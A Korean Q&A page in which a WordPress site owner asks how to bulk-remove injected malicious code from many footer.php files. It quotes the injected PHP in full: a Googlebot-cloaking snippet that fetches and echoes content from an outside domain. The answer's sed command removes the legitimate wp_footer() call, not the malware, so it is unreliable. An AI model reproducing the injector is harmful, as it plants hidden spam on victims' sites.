여러 PHP 파일에서 정확한 특정 코드 제거

여러 PHP 파일에서 정확한 특정 코드 제거

모든 WordPress 바닥글 하단에 악성 코드 링크가 있습니다.

여러 footer.php에서 다음 콘텐츠를 일괄 삭제하는 더 좋은 방법이 필요합니다.

<?php
    /* Always have wp_footer() just before the closing <?php $ua00 = $_SERVER[HTTP_USER_AGENT]; $rem = "https://www.befoy.com/t.php"; $ret = stripos($ua00, googlebot); if($ret !== false and @ret >= 0){ $res = false; if( @ini_get(allow_url_fopen) ) { $ctx = @stream_context_create(array(http=>array(timeout => 10))); $res = @file_get_contents($rem, false, $ctx); } if(strlen(res) == 0 and function_exists(curl_version)) { $ch = @curl_init(); @curl_setopt($ch, CURLOPT_URL, $rem); @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); @curl_setopt($ch, CURLOPT_NOSIGNAL, 1); @curl_setopt($ch, CURLOPT_TIMEOUT_MS, 10000); $res = @curl_exec($ch); @curl_close($ch); } if($res) { echo $res; } } ?><?php $ua00 = $_SERVER[HTTP_USER_AGENT]; $rem = "https://www.befoy.com/t.php"; $ret = stripos($ua00, googlebot); if($ret !== false and @ret >= 0){ $res = false; if( @ini_get(allow_url_fopen) ) { $ctx = @stream_context_create(array(http=>array(timeout => 10))); $res = @file_get_contents($rem, false, $ctx); } if(strlen(res) == 0 and function_exists(curl_version)) { $ch = @curl_init(); @curl_setopt($ch, CURLOPT_URL, $rem); @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); @curl_setopt($ch, CURLOPT_NOSIGNAL, 1); @curl_setopt($ch, CURLOPT_TIMEOUT_MS, 10000); $res = @curl_exec($ch); @curl_close($ch); } if($res) { echo $res; } } ?></body>
     * tag of your theme, or you will break many plugins, which
     * generally use this hook to reference JavaScript files.
     */

    wp_footer();
?></body>

답변1

sed당신의 친구 입니다 find.

$ find . -name *.php -exec sed 's/^wp_footer();//' \{\} \;

(정리 필요 여부는 사용하는 케이스에 따라 다릅니다)

이 명령은 문자열을 아무것도 바꾸지 않으므로 빈 줄이 남습니다.

관련 정보